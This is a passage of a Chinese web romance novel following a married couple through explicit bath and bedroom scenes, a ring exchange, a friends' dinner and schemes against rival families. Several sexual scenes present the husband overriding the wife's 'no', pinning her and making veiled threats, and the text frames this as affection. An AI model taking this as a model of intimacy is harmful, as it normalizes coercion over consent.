林晚心头一跳,她就知道祁南骁会这样桀骜不驯,她要是不拦着,他真的敢做出什么疯狂的事。 林晚抱着他的腰,轻声哄道:“我真的没事,就算没有沈怀川,那个女人要推我时,阿辉也在现场,当时我抓着栏杆,拖延时间阿辉赶过来就能救下我的。那个女人蓄意谋害我是逃不掉的,警察会好好追究的。你别去找他们了,你应该把重点放在设计这一系列圈套的背后人身上。” 祁南骁搂着她的腰,语气缓和了许多:“两方都要算账。” 林晚抬起头,看着他要去拿手机,她抢先一步把手机拿过去:“你答应过我的,我说的话你都听,你现在出尔反尔是什么意思?我最讨厌别人骗我。” 她这话一出,果然祁南骁注意力被转移了,他直勾勾的看着林晚,眼里有落寞:“我没有骗你。” 林晚道:“那你为什么不听我的话?” 祁南骁垂眸,哑声道:“我怕后患不除,以后还会有人对你出手。” 林晚就知道他钻牛角尖里了,她不动声色的把祁南骁的手机收起来,然后坐到他腿上,搂着他的脖子:“就算你这边没事,那我爸那边呢?我既然处在这个位置,就注定是会在风口浪尖上的。你要把所有人都解决掉吗?” 祁南骁抱着她,埋头在她颈窝上:“也不是不能。” 林晚深吸一口气,强忍着不打他的冲动,轻轻抚着他的后脑勺,温声道:“你派多几个保镖跟着我行了吧。” “你听见了吗?” 祁南骁终是妥协了:“好。” 说话间,车子停在家门口,林晚下车,看到祁南骁要跟莫白交代事情,她怕他犯错误拉着祁南骁直接回房间了。 祁南骁摸了摸她的头道:“你先洗澡,我去书房处理点事。” 林晚狐疑的看着他:“你是不是要去吩咐莫白干坏事?” 祁南骁亲了下她的额头,安抚道:“不是,你先去洗澡。” 林晚不信,今晚她无论如何都要把祁南骁给稳住,她眼眸一转道:“你帮我洗。” 祁南骁闻言搂着她腰的手更紧了。 林晚抱着他脖子往他身上跳,祁南骁托着她的腿圈着自己的腰。 “老公,你帮我洗好不好?我手有伤。” 祁南骁眼眸幽深:“你知不知道你在做什么?” 林晚眨了眨眼:“我知道啊。” 话音落下,林晚能感受到祁南骁呼吸变重了,她直接把头缩在祁南骁后背上。 这个动作正好更方便他吃 兔兔。 第54章 第 54 章(改标题) 眼尾沁出泪花…… 祁南骁房间里的浴室很大, 中间是两极阶梯式的圆形浴缸。 林晚不知道什么时候被抱了进来,潺潺温水包裹着身子格外舒服,她能感觉到那种带着体温不断上升, 温热的水汽烘着她的脸颊。 衣衫褪尽,白皙的肌肤一点一点暴露在水波中。 修长的脖颈、性感的锁骨, 波涛汹涌的水滴隐在水波之下,抿成一条仿佛深不见底的线。 暖灯的光芒将她的身形打量得一览无余,白里透粉, 伴随着她的呼吸似隐若现。 樱桃诚实地在柔软的水波上顶出一对棱角。 祁南骁脱了衣服直接跨进浴缸, 他身材很好, 188的身高, 宽肩窄腰,常年健身身上的每一块肌肉线条漂亮得像是画出来的。男人身材好本就很加分, 更何况他还有一张的脸标志的帅哥胚子,骨相满分,眉棱清秀,眼窝深邃, 因为不苟言笑,更让人心动不已。 平静的水面因为祁南骁的闯入变得紧张起来, 本就温热的水温变得更加炙热了,林晚只觉得浑身的毛孔都在张开。 手臂遮住风光,林晚有气无力的道:“我泡好了, 你自己泡吧。” 祁南骁不知按了哪个开关,林晚只觉得底下的水流突然变了样式, 像岩浆冒泡似得沸腾,滚在皮肤上有种别样的刺激。 林晚这下知道自己逃不过了。 祁南骁坐进浴缸里堵住她的去路,漆黑的眸子精准地攫住她, 里面波光明灭涌动,如一张细密的网,意味不明的叹息。仿佛能透过水波把玩,戏弄她。 她被盯着的肌肤逐渐发烫。 祁南骁一个倾身划到她面前,把她抱在怀里:“遮什么?不是说要我帮你洗的吗?” 把她胸前的手拿下,放在嘴边亲了亲:“乖,我都看过了。” 林晚有些后悔了,平静的祁南骁比发疯的祁南骁更难以琢磨:“我冷,我们还是出去吧?” 祁南骁垂眸,手臂探进水里掐着她的腰,声音低柔,跟清风似的意味深长地拖着音调:“是么?我抱着你就不冷了。” 斑斓的精神勾引下是带着暧昧不清的温柔,水波不停的翻腾着,林晚仰着头,眼尾沁出泪花,身体像是会呼吸,一张一合。 夜晚悄然寂静,别墅外只有零星路灯还亮着,浴室里雾气蒸腾,两人之间的呼吸声掩盖在淅淅沥沥的洒水声中,窗户上凝了一层朦朦胧胧的水汽,林晚趴在浴缸边缘清晰的看到窗外皎洁的月光,唇瓣微张希冀天生的月光撒下,她能接住。 水波如浪拍打着她的背,高不到最高点,低也低不到最低处,最后搅得她眼眶发红,难受的不行 祁南骁的手从水里抬起来捏着她的下颌,吻去她眼角的泪、碾过她的唇瓣,撬开贝齿。 林晚缺氧到快要晕厥,他渡过来一口气。林晚清晰的感受到他的体温、拥抱、声音,她无力的攀着他的脖颈,焦渴地呼吸。 祁南骁鼻尖触碰她的耳垂,低头,再次索吻。他想要捏碎她,又想重塑她。 风暴中心渐渐平息,林晚被抱回床上时,感受到祁南骁要走,她下意识扯住他的浴袍:“别走。” 祁南骁重新坐下,伸手去掀她的浴袍,林晚浑身一颤,有气无力道:“别,我没力了。” 祁南骁轻声安抚:“我不碰,我给你上药。” 浴袍掀开,露出一条白皙纤细的腿,林晚皮肤白,显得红印越发明显。 冰凉的药膏涂在身体里,林晚咬着唇,不敢发出声音。 祁南骁轻轻按揉:“疼吗?” 林晚不敢开口说话,怕发出的声音再次惹火祁南骁,只能用眼神告诉他,她的感受。 殊不知,这样欲拒还羞的样子让祁南骁更容易疯狂,掌心扣着她的大腿,肌肉越发紧绷。 林晚动了动自己的腿,发现动不了,他掌心灼热,透过一处迅速传遍她的四肢百骸,林晚努力逃避他的桎梏:“好了。” 祁南骁没出声,林晚着急:“我跟你说话呢。” “好。” 祁南骁抬眸,满口答应,目光早已在她腿上流连不已。 林晚抓住他的手,拉着他躺下:“别想了,今晚不可能了,赶紧睡觉。” 祁南骁被迫躺下,搂着她,咽了咽喉结。 凌晨的夜,窗帘一角被风席卷,吹散了卧室里的暧昧余味。祁南骁把被子盖好,披着浴袍下了床,里面挂着空档,推开阳台门走了出去。 窗帘后面,林晚已经彻底沉睡,祁南骁点了根事后烟忍不住看着床上人,身体累极了,灵魂却很亢奋。 手机页面显示的是莫白发给他的调查报告。 果不其然,保洁员也被人买通了,有人故意把她安排进KTV里工作,给了她林晚的信息,激怒她对林晚实施报复。 至于沈怀川的存在,一切都太过于巧合了。巧合的跟人在饭店应酬吃饭,巧合的撞见江逸,巧合的跟着林晚走到走廊救下她。 男人看男人一看一个准,沈怀川看林晚的眼神绝对不单纯。 祁南骁相信林晚对沈怀川没有多余的感情,但耐不住有人跟狗皮膏药一样黏着她恶心人。想到这,祁南骁心中燃起一股无名的怒火,他真想把沈怀川给弄死。 抽了口烟,回头看到林晚安静睡颜的那一刻,心中的怒意消散了许多。 那通电话到底还是没有拨出去,祁南骁按灭烟蒂,去浴室漱了口之后重新回到床上。 林晚侧躺着,右手枕在脸上,睫毛浓密如羽,床头柜上还点着微弱的夜灯,隐隐洒在她白皙的脸上。她怕黑,睡觉总是要点一盏小夜灯。 祁南骁躺回床上,手掌揽到她纤细的腰上,把人重新捞进怀里。 闻着她身上的独特的沐浴清香味,祁南骁内心睽违很久的一种冲动,他一定要好好活着,把那些人送进监狱。 只有这样,才能保护好林晚。 —— 林晚一觉睡到自然醒,再睁眼,入目的是男人凸起的喉结,一如欲望的棱角,让人为之着迷。 悄然退出祁南骁的怀抱,林晚侧着头正大光明的打量着枕边人。 祁南骁睡得很沉,不然也不会对她的动作毫无感觉。睡着的祁南骁格外安静帅气,男人流畅的轮廓隐在昏暗光线中,额前的碎发贴着眉,俊美矜冷的脸在灯光下显得柔和了不少。 闭着眼,垂着浓密的睫毛,越过高挺的鼻梁是抿成一条线的薄唇。他是典型的浓颜系,硬朗又精致的五官无比帅气。 都说男人眉锋锋利脾气不好,没了解他之前的确是这么觉得的,可了解他之后,林晚觉得他也就耍点小脾气。 谁还没点小脾气了? 所以在碰到自己在乎的人受到威胁时,他才会如此的暴跳如雷。 其实他跟她一样原生家庭不好,都说没妈的孩子像棵草。原生家庭缺憾带来的敏感,林晚能感同身受。 撑起身子,林晚指尖轻轻扫过祁南骁浓密的睫毛,他不适的动了动睫毛翻身抓住她的手腕垫在脸下,一米八八的大高个此时竟有些人畜无害的可爱。 他们都是敏感的人,依偎在一起总想把最好的爱给对方。林晚把手抽回来,轻轻抚摸着他的脸,她想以后还是要对祁南骁好一点。 温存结束,林晚果断掀开被子起床,洗漱完又是开始一天的训练任务。她手上的伤还没好,只能戴着手套握佩剑。膝盖上的伤已经好了不少,虽然医生的建议是还要继续静养,但林晚身为运动员不可能像普通人那样全然躺平式的静养。 时间对一个运动员来说是最宝贵的,即便以后会留下后遗症,她现在也必须忍着伤痛开始正常训练加快复元了。 训练完,顺便去猫房看看猫猫狗狗。布丁现在的状态好很多了,只要不强制的走近它的领地,它就不会应激。蛋黄已经学会小跑了,现在一天到晚不愿意回自己的窝里待着,就爱乱跑。 林晚抱着蛋黄温存一会儿,才把它交给陈嫂照顾。 回房快速洗了个热水澡,穿衣服时,洗漱台上的手机响,林晚趁着穿衣的空隙瞥了眼屏幕,上面是熟悉的名字,她划开接通键,手机传来祁南骁的声音,闷闷的喊道:“老婆。” “嗯?” “你在哪?” 林晚愣了下才回道:“在浴室。” “在干嘛?” “洗澡。” “我也要进去。” 林晚:“” “我已经洗完了。” 祁南骁翻了个身睁开眼看着浴室的方向:“你快出来。” “干嘛?” 祁南骁道:“我想抱你。” 林晚举着手打开浴室门,不过不是祁南骁房间里的浴室。 祁南骁听见手机里有开门声,可眼睛望过去的地方却并没有动静。 林晚抿唇偷笑,她现在待在自己的房间里,此时正在整理衣柜。祁南骁叫私人设计师给她做了不少衣服,衣柜都放不下了。 手机里没了声音她还有些纳闷,正要说话就听见房间门把手被人从外面打开。 林晚狐疑的看着门口,眨眼间就看到祁南骁穿着黑色浴袍,一进门就挂了手机反锁门,然后直接朝她走过来,抱着她。 林晚被他逼得直接后退直到逼近床边,她本能蹙眉:“你干什么?” 祁南骁颀长高大的身子压着她往后一倒,林晚摔床上,祁南骁趁机脱掉自己的浴袍,赤条条上床把被子一扯就躺了下去。 林晚刚起身就被祁南骁一把拉了回去,他里面居然什么也没穿! “祁南骁” “嘘” 祁南骁长腿一伸就把林晚压在身下,紧紧搂着,他声音慵懒低沉:“再陪我睡一会儿。” 他身上热烘烘的,烘得林晚脸红心跳,关键是他什么也没穿,更热了。 “要睡你自己睡。” 祁南骁闭着眼,低声说:“没有你,我睡得不香。” 甜言蜜语,林晚挣扎着:“你给我起来。” 祁南骁抱得更紧了,甚至用腿压着她,硬块戳着她,林晚更加动弹不得:“你能不能不要裸睡?” 祁南骁声音更低了,透着隐隐的威胁:“就睡半小时,不然我就起来跟你运动。” 这个运动自然不是健康的运动。 林晚奈何不了,关键还是怕惹火他,她不想再洗第二次澡了。就让他抱一会儿吧,等他睡着了她再起来。 祁南骁呼吸有些重,掌心从一开始的揽着她的腰到后面钻进她的衣服里游离,目的地明确直抓兔兔,肆无忌惮。 林晚忍无可忍:“祁南骁,能不能好好睡,不能睡就给我起来。” 祁南骁低笑一声,一个翻身就把林晚压在身下:“睡不着了,我们还是做点运动吧。” 林晚惊呼:“不行。” “唔唔唔” 手腕再次被祁南骁压在头顶,他一手捏着她的下巴,低头疯狂亲。林晚本能反抗,结果越挣扎,祁南骁吻得越胸,欺负她力气没他大。 静谧的房间里,林晚口中忽然溢出一句:“不准咬”模糊了痛苦和愉悦。 祁南骁额头已经蒙了一层薄汗,身体更是烙铁一半滚烫,埋胸不听 这一次,她的卧室里没一处好地方,床上、窗台、衣柜、最后是浴室 林晚浑身无力,明明他没吃早餐,怎么精力还如此旺盛 不是说男人过了25就体力下降了吗?为什么祁南骁还是如此的好。 林晚这个回笼觉一直睡到十点半,等她再次醒来时察觉到异样,迷糊着睁开眼,祁南骁正一脸如沐春风的盯着她看。她想伸手打他,完全抬不动,改成瞪他:“以后,你不许再这样了。” 祁南骁笑而不语。 林晚抓了抓他的头发:“听到没。” 祁南骁握着她的手,亲了一下低声道:“我知道了。”下次还敢。 林晚只看他那眼神就知道,他没把她的话听进去。男人在床上的话要是能信,母猪都能上树了。 可偏偏每次到了关键时候,看着他一脸讨好的取悦她,她又不忍心拒绝他。因为他每次都很懂事的把她伺候得很舒服,然后又一脸可怜兮兮的抱着她喊疼、要爆炸了,哪里疼她根本不想知道,到了最后就变成他为所欲为。 林晚别开视线,微微蹙眉:“起来,这都多少点了,你还没吃早餐。” 祁南骁满眼促狭:“中午,方茗泽他们邀请我们俩去吃饭。” “都有谁?” 祁南骁把玩着她的头发,笑着道:“我几个发小。” “那走吧。” 第55章  真正的夫妻 祁南骁站在衣帽间里, 孜孜不倦的整理着衣物,林晚站在一旁面无表情的看着他把她的衣服挨个塞进衣柜里。 “以后你就搬过来跟我睡一间房好不好?”他说。 林晚眼皮都没抬一下,面无表情:“我说不同意, 你现在会把衣服搬回去吗?” 祁南骁手一顿,然后慢条斯理的从最后一个箱子里抽出黑色蕾丝内衣转身在林晚面前晃了晃:“被你勾得已经没力气搬回去了。” 林晚看清他手里的东西东西后, 气得面红耳赤过去抢。 祁南骁一脸坏笑抬高手臂,林晚根本够不着,逼急了就想虚张声势, 佯装不悦。 然而祁南骁早就吃定她了, 不仅不为所动, 还故意在两人面前晃了晃布料, 鼻尖都是布料身上飘过来的特有香味,以前他总觉得方茗泽说的女人香是他自己的意/淫, 最多不过是女人身上各种香水的味道罢了。 可自从和林晚有了肌肤之亲后,她身上的香味就变得越来越明显了,一种独属于她的味道,光是闻到这股清甜奶香, 他就能想象出一场X/爱,她身体的曲线、攀着他时的有气无力、温热急促的呼吸, 激烈时白皙的肤色渐渐转粉的模样 祁南骁手指弯曲捏了下手中的布料,血脉倴张,声音低沉磁性:“给兔兔穿的真可爱。” 林晚的脸肉眼可见的又红了一个度, 一巴掌捂住他的嘴,微微用力:“你能不能闭嘴?” 祁南骁一手环着她的腰, 嘴上不说,一双眼眸漆黑深邃,带着意味不明的笑意, 当着她的面闻了下手里的布料。 林晚眼眸瞪大捂着他的嘴,又恨不得捂住他的鼻子:“祁南骁,你混蛋。” 祁南骁抱着她,低笑一声:“那你怎么就喜欢我这个混蛋?” 林晚锤他的胸口,嘴上挑衅道:“等我腻了直接喜欢下一个。” 祁南骁手臂一紧,沉声道:“你敢?” 林晚脱口而出:“你管得着吗?” 祁南骁目不转睛的盯着她,某一瞬间腰身一转,林晚还没反应过来时人就被按在全身镜前,他掐着她的腰往后一提。祁南骁整个人贴了上来,扣着她的手在镜子上留下一层雾气。 林晚挣扎,祁南骁突然往前一挺,她吓得喊出声,双眼瞪大。 明知道隔着裙子不会来真的,可那真实的硬块戳着她,根本无法忽略,令人心悸的侵略感,让她浑身紧绷,一动不敢动。 祁南骁贴着她的后背,透过镜子清楚的看见她脸上惊慌无措又无可奈何表情。 祁南骁笑意更加明显,像是吃定她一样,掐着她的细腰笑道:“现在管得了你吗?” 林晚透过镜子看着身后的人,他凶起来浑身都是戾气,侵略感十足,她跟本就不是他的对手。 祁南骁见她不说话,蹭着她的耳垂,低声道:“说话?” 说话间,他轻轻挺腰,林晚一如被戳中的泡沫,她彻底慌了,这要是还来,她今天不用下床了,连忙点头回道:“能。” 祁南骁掌心摩挲着她的腰,一寸一寸的游离,像是在巡逻着自己的领地,沉声问:“还喜不喜欢别人了?” 林晚摇头。祁南骁继续道:“叫我什么?” 林晚抿唇不说话,感受到掌心钻进衣摆里,灼热的温度包裹着皮肤,她赶忙道:“老公。” 祁南骁呼吸更重了:“说你喜欢我。” 林晚红着脸,小声道:“我喜欢你。” 祁南骁低头亲着她的耳垂,灼热的呼吸喷洒在耳后,林晚的耳朵瞬间染上粉红。 “我看看有多喜欢?”祁南骁指尖游离脐下,挑起布料,眼神已经不再清明。 虚张声势没有用,林晚只能以退为进:“不行,疼” 果然,祁南骁听到疼后,顿住手指,低头吻了她的后脖颈:“哪里疼?” 林晚咬唇,哪里疼她当然不可能说出来。 祁南骁故意曲指逗她:“刚睡完我就要换人喜欢,不知道的还以为我不行了。” 林晚道:“谁说你不行了?” 祁南骁一本正经的问:“那你说说我行不行?” 林晚不说话,祁南骁:“嗯?” 吓得林晚连忙道:“行,你很行。行了吧。” 祁南骁笑了:“这么敷衍啊。” 林晚咬牙:“祁南骁,你别太过分。” 祁南骁低头吻了下她的发丝,高挺的鼻梁勾着林晚细细的发丝,每看一眼,祁南骁都会勾起唇角。 林晚见他温顺下来,心跳慢慢平缓下来,尝试叫他:“祁南骁。” 祁南骁抱着她不肯动,林晚趁机说:“不是说要去聚餐吗?时间不早了,我们赶紧出发吧。” “” “祁南骁。”林晚语气加重。 祁南骁抱着她,埋首在她脖颈上,勾起唇角咬着她的耳垂:“再让我抱一下。” 林晚头皮发麻,挣扎着翻身:“再不出发等下我们就要迟到了。” 祁南骁沉着鼻音道:“我就抱抱。” 说着他的手钻进林晚的衣服里。 林晚忍无可忍,她抓住他做乱的手,咬牙道:“你当我是驴吗?没日没夜的欺负。” 祁南骁正意乱情/迷时,听到她这么说,不合时宜的笑出声:“那晚上换你骑我。” 林晚差点炸了,祁南骁眼看着她全身通红,也知道不能再挑逗下去了,他果断从她身上离开,帮她整理好衣服。 林晚恼羞成怒:“你怎么一天到晚就想这事,脑子里能不能装点别的?” 祁南骁低声说:“我前面为你守身如玉那么多年,现在破了戒,想多‘吃’点也很正常。” 林晚瞪他:“少往你脸上贴金。以前你连我长什么样都不知道,别赖上我。” 祁南骁顾不得林晚在,点了根烟消消火:“真要算起来,我以前还真见过你。” 林晚狐疑:“什么时候?” 祁南骁靠在手表柜台上,侧头吐了口烟:“你11岁那会儿,还跟个小豆芽似的。我在老爷子那儿见过你。” 林晚想起来了,那会儿是她第一次跟林国冬去探望祁占山。 听他这么形容自己,林晚不服气:“你才是豆芽。” 祁南骁抽了口烟,深邃的眸子落在她胸前,意味不明的笑了:“嗯,现在不是了,长!大!了!” 林晚脸红的可以滴出血了。 祁南骁见她气急败坏,拉着她的手,侧头,一脸认真的说:“我这是夸你身材好。” 林晚面无表情:“你们男人就爱看这些,外面比我身材好的多了是。” 祁南骁温声道:“那些个儿,我不喜欢。我只喜欢看你的,摸你的。” 林晚横了他一眼:“少贫嘴,赶紧换衣服走人。” 祁南骁忍着笑:“老婆,你帮我选衣服呗。” 他身上还穿着浴袍,腰带系得松松垮垮,V领下一身肌肉,上面还能清楚的看见斑驳的红痕,那是她不小心留下的,林晚也弄不明白,明明她没有指甲,怎么会把他抓成这样。 转身帮他挑了件黑色衬衫,他的衬衫很多全是没有logo的,看得出是私人设计师做的,质感很好量身定做的西装衬得他身材很好看。 祁南骁当着林晚的面扯开浴袍腰带,林晚剜了他一眼果断背过身。 祁南骁在身后慢条斯理的换衣服:“又不是没见过。” 林晚若无其事道:“是啊,都看腻了。” 祁南骁换好衣服,扯了条领带走到林晚面前让她帮忙:“没事,没用腻就行。” 林晚打结打到一半微微用力一勒,祁南骁低头,准确无误的亲在她脸上。 林晚横了他一眼:“我以前怎么没发现你话这么多?” 祁南骁一本正经道:“跟你在一起,情不自禁想说话。” 林晚帮他重新整理好领带,就听见他忽然声音低沉的道:“你睡了我,就得对我负责。” 林晚在心底翻了个白眼,没抬头道:“你情我愿的事,少绑架我。” 祁南骁忽然安静了,林晚还纳闷他怎么就不出声了,抬眸对上他紧绷着的脸,林晚眸子微挑:“干嘛?生气了?” 祁南骁紧抿唇瓣,依然不说话,一张帅气逼人的脸上此时写满了不开心三个字。 林晚道:“又跟我玩冷暴力?” 祁南骁说:“你对我吃干抹净不想对我负责还凶我。” 林晚看着他一本正经胡说八道的样子,哭笑不得:“怎么你说的我好像渣女一样。” 祁南骁不可置否,林晚握了握他的手腕:“好了,我对你好行了吧。快点出发,再不走真要迟到了。” 祁南骁忽然伸手,张开拳头,掌心里躺着两枚蓝钻戒指,光线恰到好处的划过晶莹剔透。 林晚诧异的抬头。 祁南骁睨着林晚,一眨不眨的说:“你给我戴戒指。” 林晚眼眸看着祁南骁,还有点茫然他这是闹哪样。 祁南骁眼眸漆黑深邃,藏了一点细碎温暖的光:“老婆,你愿意跟我做真正的夫妻,我们一起白头偕老吗?” 薄薄的日光透过深色丝质窗帘的缝隙洒进旖旎的衣帽间,丝丝流光下,几乎可以看到光线的颗粒在空气中跳跃。 手机铃声突兀的响起,打断了林晚的思绪:“你电话响了。” 祁南骁置若罔闻:“你还没给我戴戒指。” 半晌后,林晚无奈的拿起男款那枚戒指给他把戒指戴上。祁南骁心满意足的勾起唇角,拿起女款戒指给林晚戴上。 林晚看着无名指上突然多出来的钻戒,心里说不出什么情绪,这款戒指当初她一眼就看中的。 “你当初是故意带我去买戒指的?” 祁南骁点头:“对,很早之前我就决定好要跟你做真正的夫妻。” 林晚无语,感情他这么早就开始打她的主意了。大尾巴狼一样待在她身边,亏她还以为他对她不可能有感情。 “赶紧回你的电话。” 电话早就挂了,祁南骁拿出手机回拨了过去:“知道了,现在就出发。” —— 中午十二点整,祁南骁的车子准时开到雍雅楼门口,大堂经理陈经理看到熟悉的宾利出现,第一时间走出来迎客,垂眸那一刻看到两人牵手的地方是一对对戒,他眼底划过一抹诧异:“祁先生上午好,林小姐上午好。” 祁南骁牵着林晚,把钥匙丢给陈经理道:“我夫人,以后认着点儿。” 他说这话声音不大,但莫名的林晚觉得方圆几米的人都听到了,林晚真想找个洞钻进去,都说了不要这么高调,他就这么说了出来。 她哪知道,这是祁南骁故意的,他恨不得向全世界宣布他们是合法夫妻的事,那些碍眼追求林晚的第三者才会死心。 陈经理笑容和煦:“林夫人您好,幸会幸会。” 林晚笑了笑:“你好,陈经理,我们又见面了。” 陈经理一路将两人带到顶楼的0号包间,亲自打开门。 林晚刚一进门就看到包间里三三两两的人。有男有女,其中方茗泽,林晚是见过的。还有一个戴着金边眼镜的,她认出来是梁子超的表哥,另一个看起来长相清秀,是那种一看就是富家子弟的人。 祁南骁挨个介绍,方茗泽还有他妹妹方令雯、梁景宸以及他的冷美人未婚妻白箐,最后一个是蒋酌。 方茗泽最是活跃,他见了林晚笑着伸出手:“林小姐,我们又见面了,我是南骁的发小方茗泽。” 林晚伸手握上去:“你好。” 方茗泽只是虚虚的碰了下她的指尖,很绅士。 林晚又跟剩下的几个人挨个认识寒暄,都是人以类聚,物以群分。观察一个人就看他身边的朋友。 林晚不动声色的打量着今天聚会的三个男人,都说方茗泽是出了名的花心萝卜,可他对兄弟的女朋友还有对自己的妹妹都很尊重,就连握手都是最基本的绅士礼。林晚还注意到他们几个在有女生在的情况下都克制住没抽烟,期间蒋酌烟瘾犯了也是走到隔壁房间抽。 梁景宸和他的未婚妻看起来更像是传统意义上的联姻,两人感情不似普通情侣那样黏糊糊的,却也会尊重对方、互相照顾。窥一斑而知全豹由此可见祁南骁的发小们都没有真正意义上的人渣。 服务员准时上菜,陈经理挨个给大家倒酒。 等轮到了林晚时,祁南骁不动声色道:“换果汁。” 说完,他又温声跟林晚道:“你想喝什么果汁?” 他话一出,包间里的几个人皆诧异的看了过来,那神色仿佛看见了鬼。 方令雯忍不住偷瞄祁南骁一眼,她都怀疑眼前这个祁南骁是不是脑子被门夹了,都夹出夹子音了,怪吓人的。 林晚感受到大家的目光,硬着头皮道:“橙汁吧” 祁南骁回头嘱咐服务员:“鲜榨橙汁。” 方茗泽调侃道:“小林你给他吃了什么,他现在变得这么贤惠了。” 林晚看着手上的烤鸭,脱口而出:“吃点大饼就会了。” 祁南骁侧头,看着她勾起唇角:“那你多给我画几个,我爱吃。” 几人闻言笑出声,就连冷美人白箐也忍不住勾起唇角。 林晚悄咪咪在桌上拧了拧祁南骁,暗示他别太嚣张。 等酒水都上齐了,大家纷纷举杯庆祝,开吃。 方令雯看着祁南骁一边和他哥谈公事,一边还不忘了给身边的林晚夹菜转盘子。心里羡慕之余又替祁南骁感到高兴。 祁南骁在她眼里跟她亲哥一样亲切,看着他找到真爱,方令雯由衷的开心,他们根本不像圈里传的那样,说林晚使手段逼迫祁南骁和她结婚。 爱屋及乌,方令雯对林晚的喜欢也抬高一个台阶,她举起酒杯对着林晚笑:“嫂子,我敬你一杯,祝你跟南哥百年好合。” 林晚看着眼前这个圆脸甜妹,不禁露出一抹笑,回敬道:“谢谢。” 方令雯豪爽直接一杯红酒下肚,看得一旁的蒋酌忙里抽空念叨她:“少喝点,等下醉了又哭又闹。” 方令雯侧头瞪了他一眼:“少管我。” 蒋酌低笑一声,轻轻敲了敲她的脑袋。 方令雯下意识要回手,余光瞧见林晚一脸吃瓜样,她立马端庄起来。 “嫂子,听说你是运动员?” 林晚点头。 方令雯一脸了然:“怪不得。” 林晚不明所以看着她。 方令雯自来熟道:“怪不得你能把南哥拿下,还把他训得这么乖。你知道吗,他以前在我们圈子里风评堪比恶霸,没几个人能受得了他,你能拿下他,我是真心的佩服你,” 林晚看着眼前这个还是长相漂亮的甜妹,说祁南骁来一脸嫌弃,她忍着笑意。 “他人还挺好的。” 方令雯不可置信:“嫂子,你是不是被南哥偷偷威胁了?” 林晚笑出声。 方令雯不动声色观察林晚,从她这个角度可以看到林晚垂下的长睫毛,上挑的眼尾勾勒出一双笑眼漂亮到极致。她是真的漂亮,一点也不输他们圈子里砸重金养出来的那些名媛千金,也难怪南哥会败在她手里。 “嫂子,你真漂亮,南哥之前跟我们说你倾国倾城,我们还笑他是情人眼里出西施,现在看来你真的一点也不输那些漂亮女明星。” 林晚笑容一顿,脸颊微红,露出一个尴尬而不失礼物的笑:“他经常跟你们聊我?” 方令雯点头:“可不是,自从你俩结婚没多久,他就三天两头的跟我们炫耀,说你对他有多好,他生病了,你贴心照顾。你们还养一起养猫、养狗什么的,他还说你厨艺很好,经常给他做饭吃,把他嘴给养刁了,他嫌弃外面的饭菜。” 这下林晚是真的尴尬了,她不知道祁南骁在外面到处乱‘造谣’她。说好的不喜欢昭告天下的,现在他却恨不得全天下公布。 林晚再次悄无声息的在桌子底下拧着祁南骁的大腿,给他点教训。 祁南骁微微吃痛,面不改色抓住她的手,往裤/裆挪去。 林晚感受到被人操纵着抓住了什么,待感受到皮带的金属后,她吓得赶紧抽回手。 混蛋,这个时候居然还想着跟她调情。 祁南骁眼底尽是促狭,林晚脸色没什么表情,实则耳朵早已泛红。 方令雯以为是自己的话让林晚感到害羞了,她活跃气氛道:“咱们要不去打麻将吧?” 林晚没意见,方令雯又看向白箐:“箐姐,你要来吗?” 白箐笑着道:“可以。” 三缺一,方令雯叫了个服务员凑上,输了算她的,赢了算服务员的。 摸着纯金的麻将,林晚觉得自己不用打,她就已经发财了。 等女士们走后,男士们移步到客厅。 祁南骁拿出烟盒,一人点燃一根。 蒋酌道:“想要动窦家,得先把他的保护伞给打掉。” 祁南骁抽了口烟,微微蹙眉,谁都知道窦家真正的保护伞是秦家,可现在想要把秦家扳倒没那么容易。 但是不弄死窦家,就没法给秦家致命的一击。 这中间缺的是一个突破口。 一时间,场面陷入沉寂,只有袅袅白烟飘动着。 梁景宸忽然开口:“之前你说要调查林国冬出事后所有青云直上的人,我查到了秦家,在林国冬出事之前似乎跟林国冬也有接触过。” 闻言,祁南骁眼眸犀利的看向梁景宸。 梁景宸继续道:“我调查到有这么一个可能,但是手里没有证据。假设秦家真的接触过林国冬,林国冬出事后,秦家往上升。这中间是不是有什么利益冲突?” 祁南骁靠在椅背上,闻言忽然微微倾身,深邃的眸子闪过一抹凶光:“查一下之前闯入林国冬家里的那个亡命之徒跟秦家、窦家、沈家有没有关系。” 第56章  目光灼热 晚上回到家, 林晚第一件事就是回房洗澡。洗到一半,发现浴室门把手动了一下,门却并没有打开。 “流氓。”林晚朝着门口笑骂一声, 幸好她把门给反锁了。 祁南骁敲门:“老婆,开开门。” 林晚置若罔闻, 一直到洗完澡穿上衣服,她才打开浴室的门。果不其然,祁南骁就守在门口, 一见到她就把她堵浴室门口。 林晚来不及说话就被他抱着坐在洗手台边, 她抵着他的胸膛:“你干嘛?” 祁南骁拿出吹风机站在她面前, 眨了眨眼神道:“我帮你吹头发。” 林晚道:“我自己可以。” “我帮你。” 林晚一脸无语:“你就不能不黏着我吗?” 祁南骁一脸理所应当的道:“你是我老婆, 我不黏着你,黏着谁?” 林晚无言以对, 祁南骁就是个磨人精,无时无刻不磨着她。 祁南骁小心翼翼帮她把头巾拆下,打开吹风机帮她吹头发,她的头发又黑又长, 细细的发丝掠过白皙的脸颊,祁南骁怎么看都看不够。 以前连自己头发都懒得吹的人, 如今却爱上了帮林晚吹头发。他喜欢和林晚在一起的每时每刻,即便是琐事也能让他感受到滂沱的爱意。 之前,方茗泽问过他, 结婚有什么好处? 结婚好处多了去了。 一屋两人三餐四季,温暖有趣, 心上人是枕边人,因为有她在每一个清晨是无可替代,每一个落日尤其浪漫, 所遇皆温柔。 她是能让他跟前半生和解,奔赴下半生好好活着的唯一爱人。 祁南骁看着林晚,目光灼热像是要糅进灵魂里。 林晚一时看呆了,忽然抬手摸他的脸,手指掠过他浓浓的眉毛,鼻挺的鼻梁,上翘的眼角 祁南骁关掉吹风机撑在她两侧,笑着调侃:“帅吗?” 林晚点头:“帅。” 祁南骁坏笑,低头咬了下她的耳垂,低声道:“那做吗?” 林晚推搡他的胸膛:“不行。” 祁南骁压根不听,捏着她的下巴二话不说就吻了下去,就像是一触即燃的火柴堆,一粒火苗就足以燃起蓬勃火焰。 然而就在火焰热烈燃烧之时,林晚很认真的推开祁南骁。 祁南骁睁开眼看着林晚,眼底的欲/火还未褪尽,抬手扣住她的手腕,沉声问:“干嘛?” 林晚漂亮的眸子里带着狡黠:“我来月经了。” 两人四目相对,林晚清晰的看见祁南骁俊美的脸露出错愕的神情,好像严密的面具乍然破裂。 林晚垂眸视线往下,落在他高耸的地方,忍不住勾起唇角,她现在可是有金钟罩护身,他可动不了她。 